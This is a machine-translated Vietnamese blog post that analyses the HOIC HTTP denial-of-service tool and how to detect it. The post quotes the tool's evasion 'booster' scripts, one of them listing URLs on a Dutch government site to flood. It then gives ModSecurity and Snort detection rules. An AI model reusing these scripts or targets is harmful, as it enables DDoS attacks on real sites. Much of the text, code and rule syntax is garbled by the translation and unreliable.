Pages

Thứ Bảy, 17 tháng 11, 2012

Dos : HOIC ( High Orbit Ion Cannon )


Trong một bài đăng blog trước đó, chúng tôi cung cấp thông tin chi tiết của một công cụ tấn công DDoS được gọi là Loic (Low Orbit Ion Canon) được sử dụng bởi Không tên trong hỗ trợ của từ chối dịch vụ tấn công trong năm qua. Những kẻ tấn công liên tục thay đổi chiến thuật và công cụ của họ để đáp ứng với hành động của hậu vệ của. Gần đây, các SANS Internet Storm Center (ISC) cũng nhấn mạnh một verion javascript của Loic rằng, trong khi tạo ra lưu lượng truy cập tấn công tương tự như phân tích trước đây của chúng tôi cho thấy, thực sự thực hiện các cuộc tấn công mà không có người sử dụng "khởi xướng" các cuộc tấn công bằng cách nhấn bất kỳ nút nào.
SpiderLabs đã xác định một công cụ tấn công DDoS mới trong lưu thông được gọi là HOIC (High Orbit Ion Canon) .
Screen shot 2012/01/26 tại 2.38.53 PM
Trong khi dường như hầu hết các đường link dowload đã được loại bỏ bởi các cơ quan thực thi pháp luật, chúng tôi đã có thể có được một bản sao và có phân tích tiến hành động trên nó. Dưới đây là những phát hiện của chúng tôi.

HOIC Phân tích

HOIC là một tập tin thực thi Windows. Sau khi bắt đầu, bạn sẽ được trình bày với các màn hình giao diện sau đây:
Screen shot 2012/01/27 9.30.04 PM
Nếu nhấp chuột tấn công vào dấu + theo mục tiêu, họ nhận được một hộp pop-up, nơi bạn có thể chỉ định dữ liệu mục tiêu.
Screen shot 2012/01/27 10.33.13 AM
Những kẻ tấn công sau đó có thể xác định dữ liệu mục tiêu sau đây:
  • URL - là trang web mục tiêu để tấn công
  • Power -> thiết lập tốc độ yêu cầu. Thử nghiệm ban đầu cho thấy sau đây:
    • Thấp = ~ 2 yêu cầu / giây eacch THREAD quy định trên giao diện chính
    • Mediem = ~ 4 yêu cầu / giây cho mỗi thread được xác định trên giao diện chính
    • - ~ 8 yêu cầu / giây cho mỗi thread được xác định trên giao diện chính
  • Booster - những kịch bản cấu hình mà xác định thuộc tính yêu cầu năng động
Sau khi nhấp chuột kẻ tấn công vào nút Add, họ được đưa trở lại màn hình chính.
Screen shot 2012/01/27 10.37.50 AM

Những kẻ tấn công sau đó có thể điều chỉnh số lượng đề tài nếu muốn để tăng thêm sức mạnh của cuộc tấn công. Khi họ đã sẵn sàng để Lauch cuộc tấn công, họ bấm vào "FIRE Teh LAZER!" nút. Với các thiết lập mặc định được hiển thị ở trên, các yêu cầu HTTP trông như thế này:
GET / HTTP/1.0
Chấp nhận: * / *
Accept-Language: en
Host: www.hoic_target_site.com
Nếu máy chủ web mục tiêu là Apache, ví dụ access_log mục sẽ trông như thế này: 
72.192.214.223 - [27/Jan/2012: 08:57:59 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:57:59 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:00 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:00 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:00 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:00 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:00 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:00 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:01 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:01 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:01 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:01 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:02 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:02 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:02 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:02 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:02 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:02 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:03 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"
72.192.214.223 - [27/Jan/2012: 08:58:03 -0600] "GET / HTTP/1.0" 200 21.124 "-" "-"

Điều gì làm cho HOIC khác nhau từ Loic? 

Nhìn vào dữ liệu này tấn công, bạn có thể được tự hỏi "Làm thế nào là HOIC khác nhau từ Loic?" Trước hết, Loic đã có các cuộc tấn công DDoS cả TCP và UDP ngoài tấn công HTTP như HOIC đúng là một công cụ HTTP DoS. Sự khác biệt thật, hoặc nâng cao, HOIC đã có hơn Loic là sử dụng cái mà họ gọi là "Scripts Booster".

Booster Scripts

Điều này được lấy trực tiếp từ các tài liệu HOIC tập tin tặc văn bản:
OK! Vì vậy, về cơ bản HOIC là khá vô dụng trừ khi nó được sử dụng incombination với "tên lửa đẩy", "kịch bản" AKA / BOOST GÓI / Power BOOM BOOM Những tên lửa đẩy này đến trong các hình thức của các kịch bản HOIC. hoic kịch bản là rất đơn giản và theo VB6 trộn với vb.net cú ​​pháp mặc dù hơi bị thay đổi ở đây được các chức năng và globals có liên quan HOIC: tăng cường -> Đây là một biến toàn cầu có chứa các nội dung kịch bản của hiện tại (string) Headers -> Đây là một biến toàn cầu là một mảng của chuỗi, và sẽ được sử dụng để tạo thành các tiêu đề trong các yêu cầu gửi đến URL mục tiêu. Để thêm một tiêu đề, chỉ cần làm một cái gì đó như thế này: Headers.Append ("User-Agent: dương vật") hoặc Headers.Append ("User-Agent: dương vật x" + CStr (powerFactor) lbIndex -> Index vào hộp danh sách (không thể thực sự được sử dụng bên ngoài của chương trình, vô ích cho các nhà phát triển) PostBuffer -> String đệm bài containig paramets, tức là PostBuffer = "lol = 2 & lolxd = 5" powerFactor -> Integer từ 0-2, 0 là thấp, 1 là trung bình, 2 cao totalbytessent -> một số của số byte gửi đến mục tiêu đã (presistent qua mỗi cuộc tấn công) URL -> url tấn công UsePost -> boolean, đúng = sử dụng bài viết, sử dụng nếu không itll




















Chúng ta hãy xem xét một kịch bản tăng cường được gọi là GenericBoost.hoic:
Useragents Dim () 
referers Dim như là một String () 
randheaders mờ như là một String () như là một chuỗi / / chỉnh sửa các chuỗi sau đây để làm BOOST YOUR OWN UNIQUE hơn và do đó lẩn tránh / / cư danh sách useragents.Append "Mozilla/5.0 (Windows; U ! Windows NT 5.1; en-GB; rv: 1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 useragents.Append "Mozilla/4.0 (compatible; MSIE 7,0; Windows NT 5.1)" useragents.Append "Mozilla/4.0 ( tương thích; MSIE 7,0; Windows NT 5.1; NET CLR 1.1.4322;. NET CLR 2.0.50727;. NET CLR 3.0.04506.30) " useragents.Append "Mozilla/4.0 (compatible; MSIE 6,0; Windows NT 5.1;. NET CLR 1.1.4322) " useragents.Append "Mozilla/4.0 (compatible; MSIE 5,0; Windows NT 5.1;. NET CLR 1.1.4322)" useragents.Append "Googlebot/2.1 (http://www.googlebot.com/bot . html) " useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14" useragents.Append "Mozilla/5.0 ( Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium / 9.0.595.0 Chrome/9.0.595.0 Safari/534.13 useragents.Append Mozilla/5.0 (compatible; MSIE 7,0; Windows NT 5.2; WOW64; NET CLR 2.0.50727) " useragents.Append "Mozilla/5.0 (compatible; MSIE 8,0; Windows NT 5.2; Trident/4.0; Media Center PC 4,0; SLCC1;. NET CLR 3.0.04320) " useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit / 533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko ) Version/5.0 Safari/533.16 " useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51" useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0 en rv: 1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10,53 " / / cư danh sách referer referers.Append "http://www.google.com/?q =" + URL URL referers.Append referers Append "http://www.google.com/ referers.Append "http://www.yahoo.com/" / / Thêm các tiêu đề ngẫu nhiên randheaders.Append "Cache-Control: no-cache" randheaders.Append " If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT " randheaders.Append "If-Modified-Since: Tue, 18 Aug 2007 00:54:49 GMT" randheaders.Append "Nếu-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT " randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT" randheaders.Append "If-Modified-Since: Fri, 20 Oct 2006 09 : 34:27 GMT " randheaders.Append "If-Modified-Since: Mon, 29 Oct 2007 11:59:59 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Aug 2003 00:54:49 GMT" / / ------------------ KHÔNG EDIT dưới dòng này / / tạo ra ngẫu nhiên referer Headers.Append "Nguồn tham khảo:" + referers (RndNumber (0, referers.UBound)) / / tạo ra các đại diện người sử dụng ngẫu nhiên (không chỉnh sửa dòng này) Headers.Append "User-Agent:" + useragents (RndNumber (0, useragents.UBound)) / / Tạo tiêu đề ngẫu nhiên Headers.Append randheaders (RndNumber (0, randheaders. UBound))












































Như bạn có thể thấy, kịch bản tăng cường thiết lập các nhóm dữ liệu tiêu đề khác nhau yêu cầu bao gồm cả dữ liệu User-Agent, Referer và Cache-Control/If-Modified-Since và sẽ ngẫu nhiên các kết hợp khác nhau trong các cuộc tấn công. Sau khi xác định kịch bản GenericBoost.hoic và tái phát động cuộc tấn công, bạn có thể thấy các mặt hàng này yêu cầu không còn tĩnh và thay vì ngẫu nhiên xoay giữa các mẩu dữ liệu:

Ví dụ HOIC tấn công yêu cầu # 1

GET / HTTP/1.0 
Accept: * / * 
Accept-Language: en 
Referer: http://www.hoic_target_site.com/ 
User-Agent: Mozilla/4.0 (compatible; MSIE 5,0; Windows NT 5.1; NET CLR 1.1.4322 ) 
If-Modified-Since: Sat, 29 Oct năm 1994 11:59:59 GMT 
Host: www.hoic_target_site.com

Ví dụ HOIC tấn công yêu cầu # 2

GET / HTTP/1.0 
Accept: * / * 
Accept-Language: en 
Referer: http://www.yahoo.com/ 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 
If-Modified-Since: Tue, 18 Aug 2003 00:54:49 GMT 
Host: www.hoic_target_site.com
Ngoài các tập tin GenericBoost.hoic, có hai kịch bản khác nhắm mục tiêu các trang web cụ thể. Một kịch bản được đặc biệt nhắm mục tiêu một trang web của chính phủ để trả đũa vụ truy tố một người nào đó để sử dụng Loic là tấn công trước. Các tập tin hoic bao gồm URL ngẫu nhiên trên trang web mục tiêu để đạt:  
/ / Cư quay url 
/ / NẾU BẠN MUỐN NÂNG CAO ATTACK, ADD URLS THUỘC tên miền hoặc tên miền phụ CÓ LIÊN QUAN! PRO-MẸO: Bạn nên tạo một lần nữa mục tiêu và tập tin HOIC nếu u muốn để tấn công một 
tổ chức khác nhau 
randURLs.Append "http://www.om.nl/" 
randURLs.Append "http://www.om.nl/ onderwerpen / tội phạm mạng / 
randURLs.Append "http://www.om.nl/vast_menu_blok/contact/" 
randURLs.Append "http://www.om.nl/actueel/nieuws-_en/" 
randURLs.Append "http :/ / www.om.nl/actueel/columns/ " 
randURLs.Append "http://www.om.nl/organisatie/" 
randURLs.Append "http://www.om.nl/actueel/omtv_0/" 
randURLs.Append "http://www.om.nl/" 
randURLs.Append "http://www.om.nl/?rss=true" 
randURLs.Append "http://www.om.nl/" 
randURLs Nối "http://www.om.nl/actueel/strafzaken/" 
randURLs.Append "http://www.om.nl/" 
randURLs.Append "http://www.om.nl/actueel/publicaties / " 
randURLs.Append http://www.om.nl/organisatie/item_144364/ " 
randURLs.Append "http://www.om.nl/" 
randURLs.Append "http://www.om.nl/ onderwerpen / thuốc / 
randURLs.Append "http://www.om.nl/onderwerpen/commissie_evaluatie/" 
randURLs.Append "http://www.om.nl/actueel/agenda/" 
randURLs.Append "http:/ / www.om.nl/actueel/strafzaken/ 
randURLs.Append "http://www.om.nl/onderwerpen/bouwfraude/" 
randURLs.Append "http://www.om.nl/onderwerpen/mensenhandel_en/" 
randURLs.Append "http://www.om.nl/onderwerpen/snelrecht_en/ 
randURLs.Append "http://www.om.nl/" 
randURLs.Append "http://www.om.nl/onderwerpen/ voorkennis / 
randURLs.Append "http://www.om.nl/actueel/agenda/"
Bằng cách ngẫu nhiên những đặc điểm này yêu cầu, nó làm cho những điều khó khăn hơn cho các hậu vệ để tạo ra các quy tắc phòng thủ để xác định trọng tải tấn công cá nhân. Trong khi nó làm cho phát hiện khó khăn hơn, nó vẫn còn có thể.

HOIC phát hiện

Trong khi yêu cầu HOIC cố gắng để tránh bị phát hiện thông qua các kỹ thuật ngẫu nhiên, vẫn còn một số thuộc tính yêu cầu mà có thể được sử dụng để xác định lưu lượng truy cập tấn công. Hầu hết các dấu hiệu này cho biết, câu chuyện được dựa trên bất thường so với các trình duyệt web web thực sự.

Generic DoS phát hiện

Trước khi chúng tôi thảo luận về một số định danh duy nhất của giao thông HOIC, chúng tôi muốn để làm cho chắc chắn để làm nổi bật những phát hiện chung của DoS tự động phát hiện thông qua các hành vi vi phạm vận tốc lưu lượng truy cập. ModSecurity OWASP Set lõi Rule (CRS) có một từ chối dịch vụ phát hiện bộ quy tắc có thể xác định các cuộc tấn công DoS. Các admin ModSecurity chỉ cần kích hoạt tập tin và sau đó chỉnh sửa các chỉ thị sau trong file modsecurity_crs_10_config.conf:
# 
# - = [DoS Protection] = - 
# 
# Nếu bạn đang sử dụng các thiết lập quy tắc bảo vệ DoS, sau đó bỏ ghi chú sau đây 
# lines và thiết lập các biến sau: 
# - Burst Slice Interval Time: khoảng thời gian cửa sổ để theo dõi cho bursts 
# Yêu cầu Threshold: yêu cầu # ngưỡng để kích hoạt một burst 
# - Khối Thời gian: tạm thời khối thời gian chờ 
# 
SecAction "giai đoạn: 1, id: '981215 ', t: không có, nolog, pass, \ 
setVar: tx.dos_burst_time_slice = 60 ', \ 
setVar: 'tx.dos_counter_threshold = 100', \ 
setVar: 'tx.dos_block_timeout = 600 "
Khi một cuộc tấn công HOIC chạy chống lại các trang web ModSecurity, các cảnh báo sau đây sẽ được tạo ra:
[Fri Jan 27 13:44:39 2012] [error] [client 192.168.1.103] ModSecurity: Cảnh báo. Nhà điều hành EQ phù hợp với 0 IP. [File "/ usr/local/apache/conf/crs/base_rules/modsecurity_crs_11_dos_protection.conf"] [dòng "11"] [id "981.044"]
[ msg "từ chối Attack (DoS) Dịch vụ được xác định từ 192.168.1.103 (237 truy cập kể từ cảnh báo cuối cùng) "] [hostname" 192.168.1.100 "] [uri" / "] [unique_id" TyLwl8CoAWQAATFkSFoAAAAG "]
Những quy định này sẽ bắt đầu hành động thả trên tất cả các lưu lượng truy cập từ các nguồn tấn công và sẽ cung cấp định kỳ cảnh báo với tính stat giao thông). Bên cạnh việc cảnh báo về vi phạm tốc độ giao thông, có một numbe khác HOIC cụ thể thuộc tính có thể hữu ích trong ngắn hạn để xác định các công cụ tấn công được sử dụng. 

HTTP Phiên bản và Host Header

Tất cả các yêu cầu chỉ định "HTTP/1.0" tuy nhiên họ cũng bao gồm "Host:" yêu cầu tiêu đề, mà đã không được giới thiệu cho đến khi HTTP/1.1. Mục đích chính của tiêu đề chủ nhà là để giúp không gian địa chỉ IP bằng cách cho phép lưu trữ tên ảo dựa trên bảo tồn. Nếu không có một tiêu đề chủ nhà, mỗi trang web sẽ phải có một địa chỉ IP riêng biệt.
Với cơ chế này phát hiện trong tâm trí, chúng ta có thể sử dụng sau đây ModSecurity quy tắc chung về bắt bất kỳ khách hàng HTTP/1.0 nộp một tiêu đề chủ nhà:
SecRule & REQUEST_HEADERS: Host "eq 1" dây chuyền, giai đoạn: 1, t: none, đăng nhập, khối, msg: HTTP v1.0 Khách hàng bất thường - Host Tiêu đề gửi "
   SecRule REQUEST_PROTOCOL "@ streq! HTTP/1.1"

HTTP Request Tiêu đề Thứ tự

Trong khi yêu cầu tên tiêu đề và trọng tải, và của chính họ, là hợp lệ, thứ tự mà chúng được định nghĩa trong yêu cầu không phù hợp với những gì các trình duyệt web bình thường sẽ gửi. Hai tài liệu tham khảo tốt cho trình duyệt Fingerpringing / Header đặt hàng là Browser Recon dự án và p0f3 (OS fingerprinting thụ động).

Dự án trình duyệt Recon

Các dự án trình duyệt Recon có một DB thứ tự Header với thông tin trên một số lượng lớn khách hàng HTTP. Giới hạn duy nhất với số liệu này là nó là hơi cũ. Bản cập nhật cuối cùng trong tháng 6 năm 2008.

p0f3

Michal Zalewski cập nhật gần đây của ông Passive OS Finferprinting (p0s) công cụ v3 trong đó bao gồm khả năng ứng dụng dấu vân tay lớp. Điều này bao gồm phân tích khách hàng HTTP bằng phương tiện phân tích tiêu đề đặt hàng. Dưới đây là một phần của tập tin p0f.fp cho HTTP Khách hàng dấu vân tay cho Internet Explorer của Microsoft và trình duyệt Chrome của Google:
; -
; MSIE
; -

label = s:: MSIE: 8 hoặc mới hơn
sys = của Windows
sig = 1: Chấp nhận = [* / *], Referer, Accept-Language, User-Agent, Accept-Encoding = [gzip, deflate, Host, kết nối = [Giữ-Alive]: Giữ-Alive, Chấp nhận Charset, UA-CPU: (tương thích; MSIE
sig = 1:? Chấp nhận = [* / *], Referer Accept-Language, Accept-Encoding = [gzip, deflate, User-Agent, Host, kết nối = [Giữ-Alive]: Giữ-Alive, Chấp nhận Mã: (compatible; MSIE

label = s:: MSIE: 7
sys = của Windows
sig = 1:? Chấp nhận = [* / *], Referer, Accept-Language, UA-CPU, User-Agent, Accept-Encoding = [gzip, deflate, Host, kết nối = [Giữ-Alive]: Giữ- Alive, Accept-Charset: (tương thích; MSIE

TODO: Kiểm tra nếu một trong những điều này bao giờ sử dụng Accept-Language, vv Ngoài ra cố gắng để tìm MSIE 5.

label = s:: MSIE: 6
sys = của Windows
sig = MSIE
sig = MSIE

; ------
Chrome; ------

label = s:: Chrome: 11 hoặc mới hơn
sys = Windows, @ unix
sig = Chrom
sig = Chrom
sig =

Bằng cách kiểm tra các tiêu đề hợp lệ đặt hàng được hiển thị ở đây trong p0f3, chúng ta có thể xác định rằng sắp đặt tiêu đề HOIC là bất thường. Các charcteristing dễ nhất để thông báo là rằng, trong HOIC, tiêu đề chủ nhà luôn luôn được liệt kê cuối cùng trong thứ tự tiêu đề trong khi đây không phải là trường hợp trong bất kỳ trình duyệt hợp pháp.
Các quy tắc ModSecurity sau đây sẽ kiểm tra việc odering tiêu đề hiện tại của các yêu cầu của khách hàng và sau đó cảnh báo nếu các tiêu đề chủ nhà được liệt kê cuối cùng:
REQUEST_HEADERS_NAMES SecRule "*." "Chuỗi, giai đoạn: 1, t: không có, đăng nhập, khối, msg: 'Yêu cầu Tiêu đề bất thường - Host Tiêu đề niêm yết cuối, setVar:' tx.header_order =% {tx.header_order},% {matched_var} '"
        SecRule TX: HEADER_ORDER "@ endsWith, Host"
Quy tắc này sử dụng khả năng mở rộng ModSecurity vĩ mô để tạo ra một biến tùy chỉnh mà chụp thứ tự của các tên tiêu đề yêu cầu. Dưới đây là một ví dụ từ các bản ghi gỡ lỗi này chế biến quy tắc hoạt động như thế nào:
Công thức: Gọi nguyên tắc 1015de5c0; [file "/ usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [dòng "1".
Rule 1015de5c0: SecRule "REQUEST_HEADERS_NAMES" "@ rx *" "giai đoạn: 1, chuỗi, t: none, đăng nhập, khối, msg: 'Yêu cầu Tiêu đề bất thường - Host Tiêu đề niêm yết cuối., SetVar:' tx.header_order =% {t
x.header_order},% {matched_var} '"
Mở rộng "REQUEST_HEADERS_NAMES"
ST_HEADERS_NAMES: If-Modified-Since | REQUEST_HEADERS_NAMES: Host ".
Chuyển đổi hoàn thành trong 1 usec.
Thực hiện điều hành "rx" với param "*." Chống lại REQUEST_HEADERS_NAMES: Chấp nhận.
Mục tiêu giá trị: "Chấp nhận"
Nhà điều hành hoàn thành trong 2 usec.
Đặt biến: tx.header_order =% {tx.header_order},% {matched_var}
Giải quyết vĩ mô% {matched_var}: Chấp nhận
Thiết lập biến "tx.header_order" đến "Chấp nhận".
Chuyển đổi hoàn thành trong 0 usec.
Thực hiện điều hành "rx" param "*" chống lại REQUEST_HEADERS_NAMES: Accept-Language.
Mục tiêu giá trị: "Accept-Language"
Nhà điều hành hoàn thành trong 1 usec.
Đặt biến: tx.header_order =% {tx.header_order},% {matched_var}
Giải quyết vĩ mô% {tx.header_order}: Chấp nhận
Giải quyết vĩ mô% {matched_var}: Accept-Language
Thiết lập biến "tx.header_order" đến ", Chấp nhận, Accept-Language".
...
- CUT -
...
Thực hiện điều hành "rx" param "*" chống lại REQUEST_HEADERS_NAMES: Host.
Mục tiêu giá trị: "Host"
Nhà điều hành hoàn thành trong 1 usec.
Đặt biến: tx.header_order =% {tx.header_order},% {matched_var}
Giải quyết vĩ mô% {tx.header_order}: Chấp nhận, Accept-Language, Referer, User-Agent, If-Modified-Since
Giải quyết vĩ mô% {matched_var}: Host
Thiết lập biến "tx.header_order" đến ", Chấp nhận, Accept-Language Referer, User-Agent, If-Modified-Since, Host".
Rule trả lại 1.
Phù hợp -> Chế độ NEXT_RULE.
Công thức: Gọi nguyên tắc 1015df398; [file "/ usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [dòng "2"].
Rule 1015df398: SecRule "TX: HEADER_ORDER" "@ endsWith, Host"
Chuyển đổi hoàn thành trong 0 usec.
Thực hiện điều hành "endsWith" với "chủ nhà," tham số chống lại TX: header_order.
Mục tiêu giá trị: "Chấp nhận, Accept-Language, Referer, User-Agent, If-Modified-Since, Host"
Nhà điều hành hoàn thành trong 8 usec.
Cảnh báo. Chuỗi phù hợp ", Host" tại TX: header_order. [File "/ usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [dòng "1"] [msg "Yêu cầu Tiêu đề bất thường - H
ost Tiêu đề niêm yết cuối. "]

Hàng đầu Space Character Dị thường

Một đặc điểm thú vị của lưu lượng truy cập HOIC là nhiều người trong số các tiêu đề yêu cầu trọng tải đã dẫn đôi khoảng trống trong đó. Nhìn này chụp pcap trong Wireshark:

Screen shot 2012/01/27 tại 1.50.59 PM

Trong ảnh chụp màn hình này, chúng tôi đang làm nổi bật các lĩnh vực Giữ-Alive. Chú ý rằng sau khi Header và bán dấu chấm, có thực sự là hai nhân vật không gian (20 20) trước khi các văn bản tải trọng 115 trong cửa sổ hex. Thực tế, có một số tiêu đề hiện hành vi này trong yêu cầu này. Sau khi phân tích hoic varsious các tập tin bao gồm trong việc tải xuống, chúng tôi xác định rằng điều này có thể đáng tin cậy gắn cờ trên các lĩnh vực User-Agent như nó được bao gồm với hầu như tất cả các yêu cầu.
Chúng tôi đã cố gắng để tạo ra một quy tắc ModSecurity để phát hiện vấn đề này, tuy nhiên Apache được thực hiện một số chế biến trước khi vào các giá trị tiêu đề trước khi đi qua các dữ liệu này để ModSecurity và các ký tự không gian hàng đầu thế giới này không thể nhìn thấy ModSecurity.
Nếu bạn đang chạy IDS Snort, bạn có thể sử dụng các quy tắc sau đây ( Rodrigo Montoro SpiderLabs ) để phát hiện này lưu lượng truy cập trên mạng trước khi tới máy chủ web:
alert tcp $ EXTERNAL_NET any -> $ HOME_NET $ HTTP_PORTS (msg: "SLR Báo Cáo - Phát hiện Generic HOIC với tăng cường - HTTP 1.0 / Header Spacing đôi"; 
dòng chảy: thành lập, to_server; nội dung: "User-Agent | 3a 20 20 |"; nocase;

Không có nhận xét nào:

Đăng nhận xét